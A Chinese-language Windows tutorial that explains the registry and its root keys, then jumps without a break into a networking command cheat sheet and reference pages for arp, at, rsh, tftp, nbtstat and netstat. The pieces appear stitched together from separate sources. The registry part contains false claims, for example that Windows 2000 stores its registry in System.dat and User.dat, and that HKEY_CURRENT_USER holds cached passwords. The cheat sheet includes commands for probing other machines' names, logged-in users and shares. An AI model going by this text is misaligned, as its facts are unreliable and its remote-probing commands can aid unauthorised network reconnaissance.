注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Windows NT下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win9x下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win9x 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。
在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持的设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。
当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。
注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。
然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。
有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。
注册表控制用户模式的例子有:
★控制面板功能;
★桌面外观和图标;
★网络参数;
★浏览器功能性和特征。
这些功能中的某些是和用户无关的,有些是针对用户的。
计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。
这里是在注册表中基与计算机控制条目的一些例子:
★存取控制;
★登陆确认;
★文件和打印机共享;
★网卡设置和协议;
★系统性能和虚拟内存设置。
没有了注册表,Win9x和Windows NT 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。
在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Windows NT和Win9x系统管理基本常识。
概括起来,注册表中存放着各种参数,直接控制着 Windows 的启动、硬件驱动程序的装载以及一些 Windows 应用程序的运行,从而在整个系统中起着核心作用。它包括:
(1)软、硬件的有关配置和状态信息,注册表中保存有应用程序和资源管理器外壳的初始条件、首选项和卸载数据。
(2)联网计算机的整个系统的设置和各种许可,文件扩展名与应用程序的关联,硬件部件的描述、状态和属性。
(3)性能记录和其它底层的系统状态信息,以及其它数据。
如果注册表受到了破坏,轻者使 Windows 的启动过程出现异常,重者可能会导致整个系统的完全瘫痪。因此正确地认识、使用,特别是及时备份以及有问题时恢复注册表,对Windows用户来说就显得非常重要。学会了注册表的知识以及相关应用,便能使你的电脑操作更加得心应手!从而成为一位名副其实的电脑高手!
与注册表有关的术语: ①、注册表:是一个树状分层的数据库。从物理上讲,它是System.dat和User.dat两个文件;从逻辑上讲,它是用户在注册表编辑器中看到的配置数据。 ②、HKEY :“根键”或“主键”,它的图标与资源管理器中文件夹的图标有点儿相像。Windows98将注册表分为六个部分,并称之为 HKEY_name,它意味着某一键的句柄。(图2)
③、key(键):它包含了附加的文件夹和一个或多个值。
④、subkey(子键):在某一个键(父键)下面出现的键(子键)。
⑤、branch(分支):代表一个特定的子键及其所包含的一切。一个分支可以从每个注册表的顶端开始,但通常用以说明一个键和其所有内容。 ⑥、value entry(值项):带有一个名称和一个值的有序值。每个键都可包含任何数量的值项。每个值项均由三部分组成:名称,数据类型,数据。(如图3)
★ 名称:不包括反斜杠的字符、数字、代表符、空格的任意组合。同一键中不可有相同的名称。
★ 数据类型:包括字符串、二进制、双字三种。
字符串(REG_SZ):顾名思义,一串ASCII码字符。如“Hello World”,是一串文字或词组。在注册表中,字符串值一般用来表示文件的描述、硬件的标识等。通常它由字母和数字组成。注册表总是在引号内显示字符串。 二进制(REG_BINARY):如 F03D990000BC ,是没有长度限制的二进制数值,在注册表编辑器中,二进制数据以十六进制的方式显示出来。
双 字(REG_DWORD):从字面上理解应该是Double Word ,双字节值。由1-8个十六进制数据组成,我们可用以十六进制或十进制的方式来编辑。如 D1234567 。
★ 数据: 值项的具体值,它可以占用到64KB。
⑦、 Default(缺省值):每一个键至少包括一个值项,称为缺省值(Default),它总是一个字串。
注册表的内部组织结构及相互关系 计算机配置和缺省用户设置的注册表数据在Windows NT中被保存在下面这五个文件中:DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。而 Windows9x/Me/2000将所有注册表文件存入2个文件中:System.dat和User.dat。它们是二进制文件,不能用文本编辑器查看。它们存在于Windows目录下,具有隐含、系统、只读属性。 System.dat包含了计算机特定的配置数据,User.dat包含了用户特定的数据。User.dat文件的位置在以某个用户名登录时,其位于C:\Windows\profiles\用户名目录下,系统同时在C:\Windows目录下保留了一个缺省的User.dat文件,以备新用户使用。内部组织结构是一个类似于目录管理的树状分层的结构。
WINDOWS的注册表有六大根键,相当于一个硬盘被分成了六个分区。
在“运行”对话框中输入RegEdit,然后单击“确定”按钮,则可以运行注册表编辑器。
左窗格显示的是注册表的根键,这样的根键共六个。这些根键都是大写的,并以HKEY_为前缀,这种命令约定是以Win32 API的Registry函数的关键字的符号变量为基础的。
虽然在注册表中,六个根键看上去处于一种并列的地位,彼此毫无关系。但事实上,HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG中存放的信息都是HKEY_LOCAL_MACHINE中存放的信息的一部分,而HKEY_CURRENT_USER中存放的信息只是HKEY_USERS存放的信息的一部分。HKEY_LOCAL_MACHINE包括HKEY_CLASSES_ROOT和HKEY_CURRENT_USER中所有的信息。在每次系统启动后,系统就映射出HKEY_CURRENT_USER中的信息,使得用户可以查看和编辑其中的信息。
实际上,HKEY_LOCAL_MACHINE\SOFTWARE\Classes就是HKEY_CLASSES_ROOT,为了用户便于查看和编辑,系统专门把它作为一个根键。同理,HKEY_CURRENT_CONFIG\SY-STEM\Current Control就是HKEY_LOCAL_MACHINE\SYSTEM\Current Control。
HKEY_USERS中保存了默认用户和当前登录用户的用户信息。HKEY_CURRENT_USER中保存了当前登录用户的用户信息。
HKEY_DYN_DATA保存了系统运行时的动态数据,它反映出系统的当前状态,在每次运行时都是不一样的,即便是在同一台机器上。
根据上面的分析,注册表中的信息可以分为HKEY_LOCAL_MACHINE和HKEY_USERS两大类,这两大类的详细内容请看后面的介绍。
六大根键的作用 注册表采用“关键字”及其“键值”来描述登录项及其数据。所有的关键字都是以“HKEY”作为前缀开头。打个比喻来说,关键字更象Windows9X下的浏览器里的目录下的文件,每个文件都会有自己特有的内容和属性。我们可以在注册表编辑器下很方便地添加、修改、查询和删除注册表的每一个关键字。关键字可以分为两类:一类是由系统定义,一般叫做“预定义关键字”;另一类是由应用程序定义的,根据应用软件的不同,登录项也就不同。在注册表中,所有的数据都是通过一种树状结构以键和子键的方式组织起来,十分类似于目录结构。每个键都包含了一组特定的信息,每个键的键名都是 和它所包含的信息相关的。如果这个键包含子键,则在注册表编辑器窗口中代表这个键的文件夹的左边将有“+”符号,以表示在这个文件夹中有更多的内容。如果这个文件夹被用户打开了,那么这个“+”就会变成“-”。 下面我们对系统预定义的六大根键简单地介绍一下。 1.HKEY_USERS
该根键保存了存放在本地计算机口令列表中的用户标识和密码列表,即用户设置。每个用户的预配置信息都存储在HKEY_USERS根键中。HKEY_USERS是远程计算机中访问的根键之一。其内容取决于计算机是否激活了用户配置文件,若未激活用户配置文件,则可以看到称为.DEFAULT的单一子键,该子键包括和所有用户相关的各种设置,并且和\Windows下的USER.DAT文件相配合。若激活了用户配置文件并且正确地执行了登录,则还有一个“用户名”的子键,该用户名为用户登录的名称。
2.HKEY_CURRENT_USER
该根键包含本地工作站中存放的当前登录的用户信息,包括用户登录用户名和暂存的密码(注:此密码在输入时是隐藏的)。用户登录Windows 98时,其信息从HKEY_USERS中相应的项拷贝到HKEY_CURRENT_USER中。HKEY_CURRENT_USER下面有7个子关键字。其中除RemoteAccess”外,其余6个都为系统预定义。
AppEvents 这个子键里登记已注册的各种应用事件。
ControlPanel 它里面涉及到控制面板设置有关的内容。
InstallLocationsMRU windows安装路径的有关信息。
Keyboardlayout 关于键盘设置的信息。
Network 有关网络设置的信息。
RemoteAccess 安装IE 时建立的子关键字,包含该应用程序的有关信息。
Software 软件的有关信息。
3.HKEY_CURRENT_CONFIG
该根键存放着定义当前用户桌面配置(如显示器等)的数据,最后使用的文档列表(MRU)和其他有关当前用户的Windows 98中文版的安装的信息。 4.HKEY_CLASSES_ROOT
该键由多个子键组成,具体可分为两种:一种是已经注册的各类文件的扩展名,另一种是各种文件类型的有关信息。左栏中的子键就是各种已经注册的文件扩展名。 注册表内己经登记的文件扩展名中,有系统默认和应用程序自定义的扩展名。应用程序只有把自定义的扩展名在注册表中登记,系统才能识别和关联使用有关的文档,但只有经过注册的扩展名,系统才能自动关联。根据在Windows 98中文版中安装的应用程序的扩展名,该根键指明其文件类型的名称。
在第一次安装Windows 98中文版时,RTF(Rich Text format)文件与写字板(WordPad)联系起来,但在以后安装了中文Word 6.0后,双击一个RTF文件时,将自动激活Word。存放在SYSTEM.DAT中的HKEY_CLASSES_ROOT,将替代WIN.INI文件中的[Extensions]小节中的设置项,它把应用程序与文件扩展名联系起来,它也替代了Windows 3.x中的Reg.dat文件中的相似的设置项。
5.HKEY_LOCAL_MACHINE
注册表的核心,计算机的各种硬件和软件的配置均存在于此。它包括以下八个部分:Config配置、Driver驱动程序、Enum即插即用、Hardware硬件、Network网络、Security安全、Software软件、System系统。每部分中又包括许多子键。该根键存放本地计算机硬件数据,此根键下的子关键字包括在SYSTEM.DAT中,用来提供HKEY_LOCAL_MACHINE所需的信息,或者在远程计算机中可访问的一组键中。该根键中的许多子键与System.ini文件中设置项类似。
6.HKEY_DYN_DATA
该根键存放了系统在运行时动态数据,此数据在每次显示时都是变化的,因此,此根键下的信息没有放在注册表中。
.最基本,最常用的,测试物理网络的 ping 192.168.0.8 -t ,参数-t是等待用户去中断测试
2.查看DNS、IP、Mac等 A.Win98:winipcfg B.Win2000以上:Ipconfig/all
C.NSLOOKUP:如查看河北的DNS C:\>nslookup Default Server: ns.hesjptt.net.cn Address: 202.99.160.68 >server 202.99.41.2 则将DNS改为了41.2 > pop.pcpop.com Server: ns.hesjptt.net.cn Address: 202.99.160.68
Non-authoritative answer: Name: pop.pcpop.com Address: 202.99.160.212
3.网络信使 (经常有人问的~) Net send 计算机名/IP|* (广播) 传送内容,注意不能跨网段 net stop messenger 停止信使服务,也可以在面板-服务修改 net start messenger 开始信使服务
4.探测对方对方计算机名,所在的组、域及当前用户名 (追捕的工作原理) ping -a IP -t ,只显示NetBios名 nbtstat -a 192.168.10.146 比较全的
5.netstat -a 显示出你的计算机当前所开放的所有端口 netstat -s -e 比较详细的显示你的网络资料,包括TCP、UDP、ICMP 和 IP的统计等
6.探测arp绑定(动态和静态)列表,显示所有连接了我的计算机,显示对方IP和MAC地址 arp -a
7.在代理服务器端 捆绑IP和MAC地址,解决局域网内盗用IP!: ARP -s 192.168.10.59 00 -50-ff-6c-08-75 解除网卡的IP与MAC地址的绑定: arp -d 网卡IP
8.在网络邻居上隐藏你的计算机 (让人家看不见你!) net config server /hidden:yes net config server /hidden:no 则为开启
9.几个net命令 A.显示当前工作组服务器列表 net view,当不带选项使用本命令时,它就会显示当前域或网络上的计算机上的列表。 比如:查看这个IP上的共享资源,就可以 C:\>net view 192.168.10.8 在 192.168.10.8 的共享资源 资源共享名 类型 用途 注释 -------------------------------------- 网站服务 Disk 命令成功完成。
B.查看计算机上的用户帐号列表 net user C.查看网络链接 net use 例如:net use z: \\192.168.10.8\movie 将这个IP的movie共享目录映射为本地的Z盘
D.记录链接 net session 例如: C:\>net session 计算机 用户名 客户类型 打开空闲时间 ------------------------------------------------------------------------------- \\192.168.10.110 ROME Windows 2000 2195 0 00:03:12
\\192.168.10.51 ROME Windows 2000 2195 0 00:00:39 命令成功完成。
10.路由跟踪命令 A.tracert pop.pcpop.com B.pathping pop.pcpop.com 除了显示路由外,还提供325S的分析,计算丢失包的%
11.关于共享安全的几个命令 A.查看你机器的共享资源 net share B.手工删除共享(可以编个bat文件,开机自运行,把共享都删了!) net share c$ /d net share d$ /d net share ipc$ /d net share admin$ /d 注意$后有空格。 C.增加一个共享: c:\net share mymovie=e:\downloads\movie /users:1 mymovie 共享成功。 同时限制链接用户数为1人。
12.在DOS行下设置静态IP A.设置静态IP CMD netsh netsh>int interface>ip interface ip>set add "本地链接" static IP地址 mask gateway B.查看IP设置 interface ip>show address
Arp 显示和修改“地址解析协议 (ARP)”缓存中的项目。ARP 缓存中包含一个或多个表,它们用于存储 IP 地址及其经过解析的以太网或令牌环物理
地址。计算机上安装的每一个以太网或令牌环网络适配器都有自己单独的表。如果在没有参数的情况下使用,则 arp 命令将显示帮助信息。
语法 arp [-a [InetAddr] [-N IfaceAddr]] [-g [InetAddr] [-N IfaceAddr]] [-d InetAddr [IfaceAddr]]
[-s InetAddr EtherAddr [IfaceAddr]]
参数 -a [InetAddr] [-N IfaceAddr] 显示所有接口的当前 ARP 缓存表。要显示指定 IP 地址的 ARP 缓存项,请使用带有 InetAddr 参数的 arp -a,此处的 InetAddr 代表指定的
IP 地址。要显示指定接口的 ARP 缓存表,请使用 -N IfaceAddr 参数,此处的 IfaceAddr 代表分配给指定接口的 IP 地址。-N 参数区分大小
写。 -g [InetAddr] [-N IfaceAddr] 与 -a 相同。 -d InetAddr [IfaceAddr] 删除指定的 IP 地址项,此处的 InetAddr 代表 IP 地址。对于指定的接口,要删除表中的某项,请使用 IfaceAddr 参数,此处的 IfaceAddr 代表分配给该接口的 IP 地址。要删除所有项,请使用星号 (*) 通配符代替 InetAddr。 -s InetAddr EtherAddr [IfaceAddr] 向 ARP 缓存添加可将 IP 地址 InetAddr 解析成物理地址 EtherAddr 的静态项。要向指定接口的表添加静态 ARP 缓存项,请使用 IfaceAddr
参数,此处的 IfaceAddr 代表分配给该接口的 IP 地址。 /? 在命令提示符显示帮助。 注释 InetAddr 和 IfaceAddr 的 IP 地址用带圆点的十进制记数法表示。 物理地址 EtherAddr 由六个字节组成,这些字节用十六进制记数法表示并且用连字符隔开(比如,00-AA-00-4F-2A-9C)。 通过 -s 参数添加的项属于静态项,它们不会 ARP 缓存中超时。如果终止 TCP/IP 协议后再启动,这些项会被删除。要创建永久的静态 ARP 缓
存项,请在批处理文件中使用适当的 arp 命令并通过“计划任务程序”在启动时运行该批处理文件。 只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。 范例 要显示所有接口的 ARP 缓存表,可键入:
arp -a
对于指派的 IP 地址为 10.0.0.99 的接口,要显示其 ARP 缓存表,可键入:
arp -a -N 10.0.0.99
要添加将 IP 地址 10.0.0.80 解析成物理地址 00-AA-00-4F-2A-9C 的静态 ARP 缓存项,可键入:
arp -s 10.0.0.80 00-AA-00-4F-2A-9C
At 计划在指定时间和日期在计算机上运行命令和程序。at 命令只能在“计划”服务运行时使用。如果在没有参数的情况下使用,则 at 列出已
计划的命令。
语法 at [\\ComputerName] [{[ID] [/delete]|/delete [/yes]}]
at [[\\ComputerName] hours:minutes [/interactive] [{/every:date[,...]|/next:date[,...]}] command]
参数 \\computername 指定远程计算机。如果省略该参数,则 at 计划本地计算机上的命令和程序。 ID 指定指派给已计划命令的识别码。 /delete 取消已计划的命令。如果省略了 ID,则计算机中所有已计划的命令将被取消。 /yes 删除已计划的事件时,对来自系统的所有询问都回答“是”。 hours:minutes 指定命令运行的时间。该时间用 24 小时制(即从 00:00 [午夜] 到 23:59)的 小时: 分钟格式表示。 /interactive 对于在运行 command 时登录的用户,允许 command 与该用户的桌面进行交互。 /every: 在每个星期或月的指定日期(例如,每个星期四,或每月的第三天)运行 command 命令。 date 指定运行命令的日期。可以指定一周的某日或多日(即,键入 M、T、W、Th、F、S、Su)或一个月中的某日或多日(即,键入从 1 到31 之间的
数字)。用逗号分隔多个日期项。如果省略了 date,则 at 使用该月的当前日。 /next: 在下一个指定日期(比如,下一个星期四)到来时运行 command。 command 指定要运行的 Windows 命令、程序(.exe 或 .com 文件)或批处理程序(.bat 或 .cmd 文件)。当命令需要路径作为参数时,请使用绝对路
径,也就是从驱动器号开始的整个路径。如果命令在远程计算机上,请指定服务器和共享名的通用命名协定 (UNC) 符号,而不是远程驱动器号。 /? 在命令提示符显示帮助。 注释 Schtasks 是功能更为强大的超集命令行计划工具,它含有 at 命令行工具中的所有功能。对于所有的命令行计划任务,都可以使用 schtasks
来替代 at。有关 schtasks 的详细信息,请参阅“相关主题”。
使用 at 使用 at 命令时,要求您必须是本地 Administrators 组的成员。
加载 Cmd.exe 在运行命令之前,At 不会自动加载 Cmd.exe (命令解释器)。如果没有运行可执行文件 (.exe),则在命令开头必须使用如下所示的方法专门
加载 Cmd.exe:
cmd /c dir > c:\test.out。
查看已计划的命令 当不带命令行选项使用 at 时,计划任务会出现在类似于以下格式的表中:
Status ID Day Time Command Line OK 1 Each F 4:30 PM net send group leads status due OK 2 Each M 12:00 AM chkstor > check.file OK 3 Each F 11:59 PM backup2.bat 包含标识号 (ID) 当在命令提示下使用带有标识号 (ID) 的 at 命令时,单个任务项的信息会显示在类似于下面的格式中:
Task ID: 1
Status:OK
Schedule:Each F
Time of Day:4:30 PM
Command:net send group leads status due当计划带有 at 的命令(尤其是带有命令行选项的命令)后,要通过键入不带命令行选项的 at
来检查该命令语法是否输入正确。如果显示在“命令行”列中的信息不正确,请删除该命令,然后重新键入它。如果还不正确,则可以在重新
键入该命令时让它少带些命令行选项。
查看结果 使用 at 的已经计划的命令作为后台程序运行。运行结果不会显示在计算机上。要将输出重定向到文件,请使用重定向符号 (> )。如果将输
出重定向到文件,则不论是在命令行还是在批处理文件中使用 at,都需要在重定向符号之前使用转义符 (^)。例如,要重定向输出到 Output.text 文件,则要键入:
at 14:45 c:\test.bat ^>c:\output.txt
执行命令的当前目录为 systemroot 文件夹。
更改系统时间 在使用 at 命令计划了要运行的命令之后,如果更改了计算机的系统时间,则通过键入不带命令行选项的 at 可使 at 计划程序与修改后的系
统时间同步。
存储命令 已计划的命令存储在注册表中。这样,如果重新启动“计划”服务,则不会丢失计划任务。
连接到网络驱动器 对于需要访问网络的计划作业,请不要使用已重新定向的驱动器。“计划”服务可能无法访问这些重定向的驱动器,或者,在该计划任务运行
时如果有其他用户登录,则这些重定向的驱动器可能不会出现。因此,对于计划作业,请使用 UNC 路径。例如:
at 1:00pm my_backup \\server\share
请不要使用下述语法(其中 x: ?表示由用户建立的连接):
at 1:00pm my_backup x:
如果计划了一个使用驱动器号的 at 命令来连接共享目录,则应包含一个 at 命令以使在完成该驱动器的使用时断开与驱动器的连接。如果
不能断开与驱动器的连接,则在命令提示下,所指派的驱动器号将不可用。
范例 要显示 Marketing 服务器上已计划的命令列表,请键入:
at \\marketing 要了解服务器 Corp 上标识号为 3 的命令的详细信息,请键入:
at \\corp 3 要计划在上午 8:00 于 Corp 服务器上运行网络共享命令,并将该列表重定向到 Maintenance 服务器的 Corp.txt 文件(位于 Reports 共
享目录下)中,请键入:
at \\corp 08:00 cmd /c "net share reports=d:\marketing\reports >> \\maintenance\reports\corp.txt" 为了在每五天后的午夜将 Marketing 服务器的硬盘驱动器备份到磁带驱动器,首先创建名为 Archive.cmd 的批处理程序(它含有备份命令),
然后计划该批处理程序的运行,为此请键入:
at \\marketing 00:00 /every:5,10,15,20,25,30 archive 要取消当前服务器上已计划的所有命令,请按下述方法清除 at 计划信息:
at /delete 如果要运行的命令不是可执行 (.exe) 文件,请按如下所示的方法在该命令之前使用 cmd /c 来加载 Cmd.exe:
cmd /c dir > c:\test.out。 Rsh 在运行 RSH 服务的远程计算机上运行命令。Windows XP 和 Windows 2000 不提供 RSH 服务。Windows 2000 Server Resource Kit 提供名为
Rshsvc.exe 的 RSH 服务。使用不带参数的 rsh 显示帮助。
语法 rsh [Host] [-l UserName] [-n] [Command]
参数 Host 指定运行 command 的远程计算机。 -l UserName 指定远程计算机上使用的用户名。在省略情况下,使用当前登录用户的名称。 -n 将 rsh 的输入重定向到 NULL 设备。这防止本地计算机命令结果的显示。 Command 指定要运行的命令。 /? 在命令提示符显示帮助。 注释 标准操作 rsh 命令将标准输入复制到远程 command,将远程 command 的标准输出复制到其标准输出,将远程 command 的标准错误复制到其标准错
误。Rsh 通常在远程命令终止时终止。
使用重定向符号 为了使重定向在远程计算机上发生,要以引号引住重定向符号(例如 ">>")。如果不使用引号,重定向会在本地计算机发生。例如,以下命令
将远程文件“RemoteFile”附加到本地文件“LocalFile”中:
rsh othercomputer cat remotefile >> localfile
以下命令将远程文件 Remotefile 附加到远程文件 otherremotefile 中:
rsh othercomputer cat remotefile ">>" otherremotefile
使用 rsh 在使用已登录到某个域并且运行 Windows XP Professional 的计算机时,该域的主域控制器必须可用于确认用户名或 rsh 命令失败。
.rhosts 文件 .rhosts 文件通常许可 UNIX 系统的网络访问权限。.rhosts 文件列出可以访问远程计算机的计算机名及关联的登录名。在正确配置了 .rhosts
文件的远程计算机上运行 rcp、rexec 或 rsh 命令时,您不必提供远程计算机的登录和密码信息。
.rhosts 文件是一个文本文件,该文件中每一行为一个条目。条目由本地计算机名、本地用户名和有关该条目的所有注释组成。每个条目均由制
表符或空格分开,注释用符号 (#) 打头。例如:
host7 #This computer is in room 31A
.rhosts 文件必须在远程计算机的用户主目录中。有关远程计算机 .rhosts 文件特定执行的详细信息,请参阅远程系统的文档。
只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。 范例 要以名称 admin1 在远程计算机 vax1 上执行 telcon 命令,请键入:
rsh vax1 -l admin1 telcon
Tftp 向运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机(尤其是运行 UNIX 的计算机)传输文件或从运行平凡文件传输协议 (TFTP) 服
务或 daemon 的远程计算机(尤其是运行 UNIX 的计算机)传输文件。
语法 tftp [-i] [Host] [{get | put}] [Source] [Destination]
参数 -i 指定二进制图像传送模式(也称为八进制模式)。在二进制图像模式下,文件以一个字节为单位进行传输。在传送二进制文件时使用该模式。如
果省略了 -i,文件将以 ASCII 模式传送。这是默认的传送模式。该模式将行尾 (EOL) 字符转换为指定计算机的适当格式。传送文本文件时使用
该模式。如果文件传送成功,将显示数据传输率。 Host 指定本地或远程计算机。 put 将本地计算机上的 Destination 文件传送到远程计算机上的 Source 文件。因为 TFTP 协议不支持用户身份验证,所以用户必须登录到远程计算
机,同时文件在远程计算机上必须可写。 get 将远程计算机上的 Destination 文件传送到本地计算机上的 Source 文件。 Source 指定要传送的文件。 Destination 指定将文件传送到的位置。如果省略了 Destination,将假定它与 Source 同名。 /? 在命令提示符显示帮助。 注释 使用 get 参数 如果将本地计算机上的文件 FileTwo 传送到远程计算机上的文件 FileOne,则指定 put。如果将远程计算机上的文件 FileTwo 传送到远程计算
机上的文件 FileOne,则指定 get。
Windows XP 或 Windows 2000 不提供一般用途的 TFTP 服务器。Windows 2000 提供的 TFTP 服务器服务只为 Windows XP 和 Windows 2000 客
户端计算机提供远程引导功能。 只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。 范例 要从本地计算机将文件 Users.txt 传送到远程计算机 vax1 上的 Users19.txt,请键入:
tftp vax1 put users.txt users19.txt Nbtstat 显示本地计算机和远程计算机的基于 TCP/IP (NetBT) 协议的 NetBIOS 统计资料、NetBIOS 名称表和 NetBIOS 名称缓存。Nbtstat 可以刷新
NetBIOS 名称缓存和注册的 Windows Internet 名称服务 (WINS) 名称。使用不带参数的 nbtstat 显示帮助。
语法 nbtstat [-a RemoteName] [-A IPAddress] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [Interval]
参数 -a remotename 显示远程计算机的 NetBIOS 名称表,其中,RemoteName 是远程计算机的 NetBIOS 计算机名称。NetBIOS 名称表是运行在该计算机上的应用程序
使用的 NetBIOS 名称列表。 -A IPAddress 显示远程计算机的 NetBIOS 名称表,其名称由远程计算机的 IP 地址指定(以小数点分隔)。 -c 显示 NetBIOS 名称缓存内容、NetBIOS 名称表及其解析的各个地址。 -n 显示本地计算机的 NetBIOS 名称表。Registered 中的状态表明该名称是通过广播或 WINS 服务器注册的。 -r 显示 NetBIOS 名称解析统计资料。在配置为使用 WINS 的 Windows XP 计算机上,该参数将返回已通过广播和 WINS 解析和注册的名称号码。 -R 清除 NetBIOS 名称缓存的内容并从 Lmhosts 文件中重新加载带有 #PRE 标记的项目。 -RR 重新释放并刷新通过 WINS 注册的本地计算机的 NetBIOS 名称。 -s 显示 NetBIOS 客户和服务器会话,并试图将目标 IP 地址转化为名称。 -S 显示 NetBIOS 客户和服务器会话,只通过 IP 地址列出远程计算机。 Interval 重新显示选择的统计资料,可以中断每个显示之间的 Interval 中指定的秒数。按 CTRL+C 停止重新显示统计信息。如果省略该参数, netstat 将只显示一次当前的配置信息。 /? 在命令提示符显示帮助。 注释 Nbtstat 命令行参数区分大小写。 下表列出了由 Nbtstat 生成的列标题。 标题 说明 Input 接收的字节数。 Output 发送的字节数。 In/Out 该连接是否从计算机(传出)或者其他计算机到本地计算机(传入)。 Lift 名称表缓存项在被清除之前所存留的时间。 Local Name 本地 NetBIOS 名称与连接相关联。 Remote Host 与远程计算机相关的名称或 IP 地址。 <03> 转化为十六进制的 NetBIOS 名称的最后一个字节。每个 NetBIOS 名称长度均为 16 个字符。由于最后一个字节通常有特殊的意义,因为相
同的名称(只有最后一个字节不同)可能在一台计算机上出现几次。例如,<20> 在 ASCII 文本中是一个空格。 Type 名称类型。名称可以是单个名称,也可以是组名称。 Status 远程计算机上是否在运行 NetBIOS 服务(“已注册”),或同一计算机名是否已注册了相同的服务(“冲突”)。 State NetBIOS 连接的状态。
下表列出了可能的 NetBIOS 连接状态。 状态 说明 已连接 会话已建立。 关联 连接的终结点已经被创建并与 IP 地址关联。 正接听 该终结点对内向连接可用。 空闲 该结束点已被打开单不能接收连接。 正在连接 会话处于连接阶段。在此阶段正在解析所选目标的由名称到 IP 地址的映射。 接受 入站会话当前正在被接受,将在短期内连接。 重新连接 会话将试图重新连接(如果第一次连接失败)。 出站 会话正处于连接阶段。此阶段正在创建 TCP 连接。 入站 入站会话在连接期。 正在断开 会话正在断开连接。 已中断连接 本地计算机已断开连接,并正等待远程系统的确认。
只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。 范例 要显示 NetBIOS 计算机名为 CORP07 的远程计算机的 NetBIOS 名称表,请键入:
nbtstat -a CORP07
要显示所分配 IP 地址为 10.0.0.99 的远程计算机的 NetBIOS 名称表,请键入:
nbtstat -A 10.0.0.99
要显示本地计算机的 NetBIOS 名称表,请键入:
nbtstat -n
要显示本地计算机 NetBIOS 名称缓存的内容,请键入:
nbtstat -c
要清除 NetBIOS 名称缓存并重新装载本地 Lmhosts 文件中带标记 #PRE 的项目,请键入:
nbtstat -R
要释放通过 WINS 服务器注册的 NetBIOS 名称并对其重新注册,请键入:
nbtstat -RR
要每隔 5 秒以 IP 地址显示 NetBIOS 会话统计资料,请键入:
nbtstat -S 5
Netstat 显示活动的 TCP 连接、计算机侦听的端口、以太网统计信息、IP 路由表、IPv4 统计信息(对于 IP、ICMP、TCP 和 UDP 协议)以及 IPv6 统计
信息(对于 IPv6、ICMPv6、通过 IPv6 的 TCP 以及通过 IPv6 的 UDP 协议)。使用时如果不带参数,netstat 显示活动的 TCP 连接。
语法 netstat [-a] [-e] [-n] [-o] [-p Protocol] [-r] [-s] [Interval]
参数 -a 显示所有活动的 TCP 连接以及计算机侦听的 TCP 和 UDP 端口。 -e 显示以太网统计信息,如发送和接收的字节数、数据包数。该参数可以与 -s 结合使用。 -n 显示活动的 TCP 连接,不过,只以数字形式表现地址和端口号,却不尝试确定名称。 -o 显示活动的 TCP 连接并包括每个连接的进程 ID (PID)。可以在 Windows 任务管理器中的“进程”选项卡上找到基于 PID 的应用程序。该参数
可以与 -a、-n 和 -p 结合使用。 -p Protocol 显示 Protocol 所指定的协议的连接。在这种情况下,Protocol 可以是 tcp、udp、tcpv6 或 udpv6。如果该参数与 -s 一起使用按协议显示统
计信息,则 Protocol 可以是 tcp、udp、icmp、ip、tcpv6、udpv6、icmpv6 或 ipv6。 -s 按协议显示统计信息。默认情况下,显示 TCP、UDP、ICMP 和 IP 协议的统计信息。如果安装了 Windows XP 的 IPv6 协议,就会显示有关
IPv6 上的 TCP、IPv6 上的 UDP、ICMPv6 和 IPv6 协议的统计信息。可以使用 -p 参数指定协议集。 -r 显示 IP 路由表的内容。该参数与 route print 命令等价。 Interval 每隔 Interval 秒重新显示一次选定的信息。按 CTRL+C 停止重新显示统计信息。如果省略该参数,netstat 将只打印一次选定的信息。 /? 在命令提示符显示帮助。 注释 与该命令一起使用的参数必须以连字符 (-) 而不是以短斜线 (/) 作为前缀。 Netstat 提供下列统计信息: Proto 协议的名称(TCP 或 UDP)。
Local Address 本地计算机的 IP 地址和正在使用的端口号。如果不指定 -n 参数,就显示与 IP 地址和端口的名称对应的本地计算机名称。如果端口尚未建 立,端口以星号(*)显示。
